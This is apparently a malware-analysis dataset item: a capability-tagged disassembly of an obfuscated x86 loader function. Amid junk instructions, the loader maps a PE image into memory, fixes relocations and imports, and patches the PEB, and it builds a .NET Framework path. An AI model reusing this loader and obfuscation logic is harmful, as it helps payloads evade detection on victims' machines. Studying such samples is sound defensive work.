Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
not eax
not ebx
bswap ebx
bswap edx
rol edx, 0x13
ror edx, 0xac
rol edi, 0xeb
inc edx
mov edx, 0x48
rcl edi, 0x5c
bswap eax
rol eax, 0x87
and esi, 0x89
dec edx
neg esi
add edi, 0x86
inc ebx
sbb edx, 0x91
sub esi, 0xfe
bswap esi
neg ebx
rol eax, 0x44
add ebx, 0x33
dec ebx
not eax
or edx, 0x90
dec edx
inc edx
bswap edi
rol ebx, 0x3c
rcl edi, 0x1f
dec eax
add edx, 0x72
inc ebx
add eax, 0xa3
rol esi, 0x93
inc edx
imul ebx
or ebx, 0x14
imul edx
imul esi
rcl edx, 0xb4
neg edi
ror ebx, 0x89
or ebx, 0x13
sub esi, 0x51
bswap ebx
rcl edx, 0x38
imul edi
mov ebx, 0xd
inc edx
mov ebx, 0x2c
imul eax
neg edi
mov ebx, 0x4c
or esi, 0xd0
neg eax
ror edx, 0x4d
or eax, 0xee
imul edi
not eax
bswap edx
dec eax
ror ebx, 0xc0
rol ebx, 0x5b
dec eax
rcr eax, 0xf3
ror edi, 0xc7
bswap eax
neg ebx
not ebx
sub eax, 0x3a
sub edx, 0xe1
inc edi
imul eax
bswap ebx
dec eax
bswap eax
neg eax
sub eax, 0x21
not edx
neg edi
not esi
sub edi, 0x71
neg eax
ror ebx, 0x6a
inc edi
rcl esi, 0xdb
imul eax
rcr eax, 0x40
not edi
ror edi, 0x54
ror ebx, 0xa2
not eax
or eax, 0x16
imul eax
mov eax, 0x98
mov ebx, 0xb8
mov edi, 0x18
rol edx, 0xb9
not ebx
mov edi, 0xdd
rol edx, 0xf
add edi, 0xd0
bswap ebx
rcr edi, 0x61
bswap edx
rcr ebx, 0x53
ror esi, 0x45
neg edx
ror edx, 0xa6
sbb edi, 0xc2
neg edx
and ebx, 0x7f
inc esi
not esi
inc esi
and ebx, 0x30
add eax, 1
and edi, 0xd6
inc eax
sub edi, 0x7d
add eax, 0x7f
rol edx, 0x7d
rcr eax, 0xb5
neg esi
imul edi
ror esi, 0xa9
neg edx
bswap edi
sub edx, 0xe9
rcl edx, 0x62
mov edx, 7
mov edi, 0xb4
ror ebx, 0x83
ror ebx, 0x4a
ror edi, 3
imul edx
add esi, 0x8a
add edx, 0xe8
mov esi, 0x53
mov edi, 0xe5
mov eax, 0xec
neg eax
rcl edx, 0xdc
imul eax
neg edx
rol ebx, 0x53
imul eax
dec edx
rcr edi, 0x2e
ror ebx, 0xd3
neg esi
dec esi
or edi, 0xdd
not edx
bswap edi
inc edx
dec eax
inc ebx
not eax
rol ebx, 0x86
imul ebx
not eax
dec ebx
rcr edx, 0x7d
bswap eax
inc edi
or esi, 0xda
ror edi, 0x5a
inc esi
not edx
mov ebx, 0x55
rcl ebx, 0xb2
neg eax
bswap eax
or eax, 0x66
bswap eax
inc edx
sbb edx, 0xae
rol eax, 0xa1
ror edi, 0xaf
bswap ebx
inc eax
dec eax
neg esi
sbb edx, 0x98
bswap edi
add edi, 0x4c
inc ebx
rcl esi, 0xda
ror esi, 0x13
not eax
inc esi
imul eax
and edx, 0xad
bswap ebx
not ebx
ror edx, 0x9b
rcl edx, 0xa8
push 0x29800
push 0x40c008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40c008
ror ebx, 0x68
ror esi, 0xe6
rol eax, 0x9e
add ebx, 0x52
neg esi
imul ebx
inc eax
or esi, 0x3d
imul esi
rol eax, 0xa5
add edi, 0xc
rcl esi, 0xa9
inc edx
neg edi
inc ebx
add eax, 0xf
inc edi
neg edx
sub eax, 0x2a
rcr edi, 0x23
imul ebx
neg esi
imul esi
imul eax
imul esi
bswap edx
and ebx, 0x7b
neg edx
not esi
inc eax
add edx, 0x80
rcr edx, 0xcc
neg esi
neg ebx
inc edx
not eax
bswap eax
rcr edx, 0xb8
neg ebx
neg edx
dec eax
dec eax
imul ebx
mov eax, 0x9b
ror eax, 0x35
dec eax
inc ebx
or edx, 0x11
bswap eax
imul edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x4082f3
mov eax, 1
jmp 0x40987c
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x408326
mov dword [ebp - 0x110], 0
jmp 0x408335
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x40837d
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x40837d
mov eax, 2
jmp 0x40987c
inc ebx
not ebx
bswap ebx
sub eax, 0x59
rcr edx, 0xef
and esi, 0x9b
and eax, 0x2b
not ebx
mov esi, 0x85
rcr edi, 5
not edx
ror esi, 0x34
bswap ebx
bswap edx
or ebx, 0x8b
rol esi, 0x90
sbb edx, 0xcc
dec edx
mov ebx, 0x1c
imul ebx
rcl esi, 0x67
mov ebx, 0x6e
not eax
sbb esi, 0x68
rcr edx, 0x64
and edi, 0xc
bswap esi
sub ebx, 0x57
ror ebx, 0xd8
sub ebx, 0xca
or edx, 0xdf
not esi
or ebx, 0xcd
mov edx, 0xb2
and edi, 0x4e
ror eax, 0xac
dec eax
neg esi
or edx, 0x47
not edi
imul edi
rcr edx, 0x7e
not eax
sub edx, 0xee
add edi, 0x21
sbb edi, 0x60
imul eax
rcl edi, 0x4e
inc ebx
neg eax
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401220
add esp, 0xc
mov ebx, 0x87
add ebx, 0xea
ror ebx, 0x33
neg ebx
rcr ebx, 0x6a
rol esi, 0x33
mov ebx, 0x90
and ebx, 0x90
or eax, 0x12
bswap eax
bswap edi
or eax, 0x84
dec edx
imul esi
neg edi
neg esi
dec edx
inc esi
mov ebx, 0x43
not eax
not eax
not ebx
not ebx
imul eax
ror edi, 0xcf
imul edx
mov ebx, 0xaf
mov edi, 0xb3
dec edi
inc edx
sub eax, 0xcd
or edi, 0x1f
dec edx
rcl eax, 0x62
add edx, 0x2e
and edx, 0x61
ror edi, 0x70
mov eax, 0xc3
ror edx, 0x90
not esi
dec esi
dec esi
inc ebx
not eax
imul eax
add edi, 0x81
not ebx
or edx, 0x1a
ror edi, 0x48
bswap ebx
ror edx, 0xfa
ror edx, 0xcf
add edx, 0x31
bswap edx
ror edx, 0xb4
dec edi
neg eax
rcl eax, 0x10
mov edi, 9
mov edi, 7
and edi, 0xfd
rcr eax, 0xaf
rol eax, 0xe
not edx
rcl eax, 9
rcr esi, 0x72
neg ebx
sub edx, 0xbe
add esi, 0xf2
add eax, 0x1d
rol ebx, 0x21
sbb edi, 0x49
sbb edi, 0x26
dec edi
dec ebx
not eax
neg esi
and esi, 0xc8
inc edx
rcr edi, 0xe2
add eax, 0x86
imul eax
bswap ebx
or edi, 0xf2
imul eax
neg edx
imul ebx
inc edi
rcr eax, 0xfe
inc ebx
imul esi
not eax
not ebx
neg eax
dec ebx
not edi
imul esi
not esi
rcr eax, 0xe6
mov eax, 0xf9
rcl edi, 0xaf
imul esi
imul ebx
not edx
neg eax
inc esi
not eax
bswap esi
dec ebx
or edx, 0x73
neg edx
inc eax
bswap edx
not edi
add edx, 0xa2
neg esi
rcr eax, 0x54
mov ebx, 0x6d
rcr edx, 0x3d
sbb edx, 0x25
rcr ebx, 0x1f
inc ebx
dec ebx
sub esi, 0xf1
neg eax
dec edx
or esi, 0xde
and esi, 0xf4
rcl eax, 0xcd
sbb esi, 0xd5
rcr eax, 0xcf
dec edx
and ebx, 0x58
imul esi
inc eax
ror edi, 0x60
sbb eax, 0x21
rol esi, 0x5b
sub ebx, 0x98
and esi, 0xb5
sbb ebx, 0x6e
dec esi
ror edi, 0xbc
dec eax
neg edi
bswap edx
and edx, 0xb2
neg ebx
neg eax
or eax, 0x4b
bswap edx
sbb edx, 0xe6
ror ebx, 0xcc
sub eax, 0x73
sbb eax, 0x56
inc esi
add esi, 0xac
imul esi
not edx
sub eax, 0x46
rol edi, 0xbc
and ebx, 0x1d
rol ebx, 0x5b
neg ebx
neg eax
not edx
neg edx
neg eax
imul eax
sbb edi, 0x47
not esi
inc ebx
rol esi, 0xde
sbb eax, 0x47
bswap edx
imul eax
dec esi
not ebx
inc eax
or edi, 0xad
not esi
not ebx
not eax
bswap edx
and ebx, 0xc5
rol eax, 0xc1
imul edi
mov ebx, 0xb4
neg ebx
mov eax, 0xbf
rol ebx, 0x6d
not esi
mov esi, 0xe4
and edx, 0x3f
imul esi
sbb ebx, 0x38
inc esi
inc eax
or edx, 0xa0
and ebx, 0x6e
sub esi, 0xcf
inc edi
imul edi
rcl edx, 0xb7
neg eax
imul edi
imul eax
add eax, 0x83
neg edi
bswap esi
not edx
dec edx
not eax
neg esi
dec edi
rol edx, 0xd5
dec eax
sub edi, 0x3d
not eax
not esi
neg esi
sbb edx, 0x5c
bswap edx
sub esi, 0x2e
inc edi
mov eax, 0x3a
sbb ebx, 0x28
rcl edi, 0x3b
bswap edx
rcl esi, 0xdb
sub edi, 0xa9
bswap edx
sbb edi, 0xaf
ror esi, 0x30
not edi
rol edx, 0x7e
ror edx, 0x77
rol edx, 1
neg ebx
add edx, 0x7b
add ebx, 0x1f
inc edi
not edi
imul eax
mov ebx, 0x4b
imul ebx
dec ebx
imul edi
dec ebx
neg edi
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x408712
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x408773
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401220
add esp, 0xc
jmp 0x408703
not edx
ror edx, 0x86
bswap esi
add edx, 0xcd
mov edi, 0x75
mov edx, 0x7f
not ebx
mov eax, 0x84
sbb edx, 0xb9
not ebx
rcl edx, 0xec
rcr edi, 0x6a
sub edi, 0x67
dec edx
inc esi
dec esi
imul eax
bswap eax
add ebx, 0x71
mov edx, 0xc1
inc edi
add eax, 0x73
rcl eax, 0x54
imul edx
rol eax, 0x8b
rcl edx, 0x93
not eax
inc eax
sub esi, 0x86
mov ebx, 0xb3
not esi
not esi
imul esi
dec eax
mov ebx, 9
imul edx
dec eax
ror eax, 0x1b
sub edi, 0xc5
neg eax
sbb eax, 0xc7
dec eax
not edx
dec esi
neg edx
inc edx
not eax
inc edi
rcr ebx, 0x4c
sbb esi, 0x99
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x408935
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x408935
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x4088aa
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40890f
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x4088fe
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40889b
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x408846
rcl esi, 0x54
rcr edx, 0xad
sub ebx, 0x8d
not eax
sbb edx, 0x4a
sub ebx, 0x67
dec esi
sub edx, 0x57
bswap edx
inc edi
rcl esi, 0xf9
bswap edx
rcl ebx, 8
inc ebx
mov esi, 0x76
bswap edi
dec esi
inc esi
ror ebx, 0xef
add edx, 0x22
neg esi
bswap esi
neg ebx
imul esi
inc esi
bswap edx
neg esi
or edi, 5
add esi, 0x8a
add esi, 0x33
add ebx, 0x61
mov ebx, 0xce
bswap edi
neg edi
add esi, 0x89
inc ebx
rol eax, 0x76
sub esi, 0xe5
bswap edx
dec ebx
imul edi
rcr esi, 0xbd
imul ebx
rcl edx, 0x65
and esi, 0x13
inc edx
bswap esi
not esi
neg eax
rcr esi, 0x3b
neg edx
rcl eax, 0xdc
ror eax, 0x55
and edi, 0xfc
add esi, 0x6c
mov edx, 0xc9
imul esi
not edi
bswap eax
rol edi, 0x4c
rcr esi, 0xdc
dec edx
neg ebx
imul eax
imul edx
neg edi
or esi, 0x45
inc edx
neg ebx
imul edi
and edi, 0x4f
add esi, 0x65
neg ebx
inc eax
ror esi, 0xbf
sub esi, 0x19
rcl esi, 0x85
bswap edi
imul esi
bswap edi
neg ebx
bswap esi
sbb eax, 0xfb
not edx
rcr ebx, 0xd0
rcr edi, 0x3e
ror edi, 0x31
rcl esi, 0xd9
and edx, 0x82
neg edx
imul edx
dec edx
neg esi
rcr esi, 0xeb
sbb edi, 0x28
bswap esi
neg edx
imul edi
neg eax
mov edi, 0x5a
neg edi
bswap ebx
dec ebx
bswap ebx
imul ebx
rcl edi, 0xff
imul edx
not eax
neg edi
sub edx, 0xfb
bswap esi
and ebx, 0xa6
rcr esi, 0xc2
rcr edx, 0x4e
rcr edx, 0xb4
add ebx, 0xef
imul edi
not eax
dec edx
mov edi, 0xce
mov eax, 0xbe
inc edx
add eax, 0x8f
add eax, 0x7b
sbb esi, 0x22
bswap ebx
not edi
dec ebx
mov edx, 0x18
neg edx
rcr ebx, 0xbc
dec esi
inc edx
imul edi
rcl esi, 0x91
rol eax, 0x94
imul eax
bswap edx
rcl edi, 0x7e
rol ebx, 1
imul ebx
neg eax
sbb ebx, 0x9e
sbb esi, 4
add esi, 0xa9
not ebx
ror esi, 0x38
inc esi
neg edx
rol edx, 0x11
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408af6
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c34
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b4d
jmp 0x408ae7
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408b87
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c2f
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408c02
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408b78
jmp 0x408ae7
mov dword [ebp - 0x104], 0
jmp 0x408c4f
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d6d
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cbd
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cbd
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408cbd
mov dword [ebp - 0x108], 0x40
jmp 0x408d24
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408ce5
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408ce5
mov dword [ebp - 0x108], 4
jmp 0x408d24
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408d0c
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408d0c
mov dword [ebp - 0x108], 0x20
jmp 0x408d24
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408d24
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401240
add esp, 0x10
jmp 0x408c40
mov eax, 0x86
imul edi
neg eax
rcl ebx, 0x98
imul eax
inc esi
imul esi
rcl edi, 0x7e
add edi, 0x19
sbb ebx, 0x2d
imul ebx
neg edx
bswap edx
imul eax
inc eax
imul edi
not eax
sbb eax, 0xe9
or esi, 0xcb
sbb edx, 0x8d
add ebx, 0x8c
dec edx
bswap edx
bswap edi
and eax, 0x84
or ebx, 0x72
add edi, 0xf6
inc eax
ror eax, 0x35
add ebx, 0x3e
rcl eax, 0x7b
or ebx, 0xef
add esi, 0x4d
dec esi
rcr edx, 0xae
add eax, 0x96
rcr edi, 0x83
rcr eax, 0x45
dec ebx
and ebx, 0x56
rcl eax, 0xd7
not edx
rcl esi, 0xf9
neg esi
imul ebx
imul edi
mov ebx, 0x2f
neg edx
sub eax, 0x39
add ebx, 0x18
neg eax
neg edx
or edi, 0x7b
or eax, 0x18
neg eax
rcr eax, 0x93
bswap edi
sub ebx, 0xde
sub edi, 0x26
not eax
sbb edi, 0xfa
inc eax
neg edx
not eax
neg edx
dec esi
or ebx, 0xa8
bswap edx
ror ebx, 0x2c
neg edi
inc edi
inc ebx
dec edi
and eax, 0x6f
mov ebx, 0x27
rcl eax, 0
mov edi, 0x6d
bswap edi
bswap esi
sbb eax, 0x19
mov eax, 0xd9
or edx, 0x9e
imul edx
inc edi
bswap edi
add ebx, 0x99
sbb edx, 0xce
or esi, 6
inc esi
inc edx
mov edx, 0xb7
not esi
rol eax, 0x6e
dec edi
bswap ebx
neg esi
imul esi
inc eax
sbb eax, 0xc7
rol ebx, 0x80
rcl ebx, 0xfc
rcr esi, 0xc7
dec esi
or eax, 0xd4
inc esi
dec edi
neg ebx
not eax
neg edi
sbb eax, 0x41
sub edx, 0xbc
imul esi
bswap ebx
rcr esi, 0xd2
and eax, 0x66
inc ebx
dec ebx
dec esi
bswap ebx
inc esi
neg eax
not edi
dec eax
rol eax, 0xa7
inc edx
bswap edi
sub edi, 0xc4
sbb ebx, 0x50
not esi
neg edi
rol ebx, 0x57
bswap ebx
imul esi
sbb edx, 0x5f
inc edi
and ebx, 0x86
imul ebx
rcr edi, 0xb3
inc ebx
or eax, 0xcd
not edx
inc edx
not edx
bswap edi
neg edi
add ebx, 0x55
bswap ebx
and ebx, 0x9c
dec ebx
add edi, 0xa
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
sub ebx, 0x84
mov edi, 0x47
rcr edx, 0x76
bswap edx
dec ebx
neg eax
bswap edx
rcl edi, 0x6d
or ebx, 0x4d
rol eax, 0x46
not edx
bswap esi
mov edi, 0x1a
rcl edi, 0xb5
mov eax, 0x9c
inc esi
inc edi
neg esi
add eax, 0x5c
sbb eax, 0xd0
imul esi
not ebx
add esi, 0xe
rol edx, 0xcf
rcl ebx, 3
not edi
dec edx
mov esi, 0xa0
imul edx
inc ebx
or ebx, 0x99
inc edx
not eax
imul edx
dec eax
imul ebx
dec eax
dec eax
inc ebx
inc eax
rol edx, 0x6d
bswap esi
dec eax
not ebx
sub eax, 0x73
dec edx
add edi, 0xd2
imul edi
mov eax, 0
bswap esi
imul edi
mov eax, 0x15
imul edx
sub edx, 0x4f
not edx
imul ebx
sub ebx, 0xb8
ror ebx, 0x85
rcl esi, 0xd9
not eax
bswap ebx
rcr ebx, 0x50
inc edx
add esi, 0xe4
inc ebx
bswap esi
not edi
rol ebx, 0x56
bswap eax
inc edi
not eax
sbb edx, 0xb6
ror ebx, 0xe1
inc edx
rcr eax, 0xb5
add esi, 0x3f
sub ebx, 0xa7
imul esi
dec edi
bswap eax
neg edi
sbb esi, 0x7e
rol esi, 0xd1
neg edx
rol ebx, 0x34
bswap ebx
dec eax
bswap eax
sbb eax, 0x8a
imul eax
bswap esi
rcl edi, 0x16
imul edi
imul edi
dec esi
not esi
inc edi
imul eax
rol esi, 0x78
neg edx
and edi, 0xe4
imul edx
not edi
imul esi
ror esi, 0x79
inc eax
and esi, 0x48
rol edi, 0x6a
add edx, 0xed
neg eax
mov edi, 0xc2
not eax
imul esi
sub edx, 0x79
or edi, 0x92
neg edx
sbb esi, 0x6c
rcr esi, 0x20
rol edi, 0x19
dec esi
imul ebx
dec ebx
mov edx, 0x44
not esi
dec edx
sbb edx, 0xf9
and ebx, 0x70
or eax, 0xd6
not edi
inc ebx
rcr eax, 0x3f
sbb edi, 0x96
inc edi
dec ebx
rcl edx, 0xc7
sub ebx, 0xf5
imul edi
neg esi
neg eax
not esi
ror eax, 0x72
and eax, 0x61
imul eax
or edi, 0xeb
rol eax, 0x8a
neg eax
mov edx, 0x59
rcr edi, 0x4c
dec edi
imul eax
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
imul eax
imul ebx
not ebx
mov esi, 0xcc
or edi, 0x8c
inc edx
bswap edi
sbb edx, 0x6f
neg ebx
not ebx
sub esi, 0x1f
rol edx, 0xae
not edi
add edx, 0x32
rol edx, 4
bswap ebx
bswap edi
rcl esi, 0xc
sub esi, 0x1d
inc ebx
rcr eax, 0xaf
add edi, 0x4a
rol eax, 0x37
rol edi, 0x4c
and eax, 0xd0
dec edx
rcr edi, 0x53
inc ebx
rcr edi, 0x82
or ebx, 0x15
neg edx
inc edx
rol eax, 0xd7
sbb edx, 0xe3
dec edx
neg esi
bswap edx
inc ebx
bswap edx
bswap esi
rol edi, 0xba
bswap edi
inc ebx
rcl ebx, 0x8e
or esi, 0xf7
sbb eax, 0x51
imul edi
not edi
and eax, 0x66
dec edx
or eax, 0x81
not ebx
neg ebx
bswap eax
and edx, 0x97
and edx, 0x65
imul edi
and ebx, 0x34
inc edi
rol edi, 0x8b
and esi, 0xe9
rcl esi, 0x57
dec eax
bswap edx
bswap edx
neg ebx
rcl edx, 0x9a
and esi, 5
neg edi
dec eax
neg esi
dec ebx
imul esi
inc esi
or edi, 0x64
and edi, 0x33
sbb edi, 0x9b
rol edi, 0x5a
imul ebx
inc ebx
not ebx
not edx
add eax, 0xa0
not esi
neg edx
inc esi
ror ebx, 0x9b
bswap ebx
or eax, 0x68
add esi, 0xca
rcl eax, 0xcc
sbb edx, 0xb4
imul edi
rcr esi, 0x4a
and eax, 0x2f
mov edx, 0xfd
imul edx
mov esi, 0xdb
bswap esi
imul edx
add edx, 0xbe
not eax
not esi
inc edx
sbb ebx, 0xf4
not esi
sub edi, 0x1e
neg edi
mov eax, 0x2e
rcl edi, 0x49
dec eax
sbb esi, 0x65
rcr edi, 0xc0
imul edx
mov esi, 0x4f
dec edi
bswap esi
rol edi, 0xcd
bswap esi
imul edx
or edi, 0x13
imul edx
neg ebx
and edx, 0x29
rol eax, 0xab
neg edx
neg eax
add eax, 0x5c
dec eax
rcr edi, 0xa4
sbb eax, 0xff
neg edx
rol esi, 0x65
inc edi
imul edx
sub eax, 0x18
add edx, 0x95
imul eax
not edi
inc edi
neg eax
neg edx
rcl eax, 0x63
dec eax
neg ebx
sub edx, 0x95
rcr esi, 0x97
rcr ebx, 0x2b
neg eax
bswap edx
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
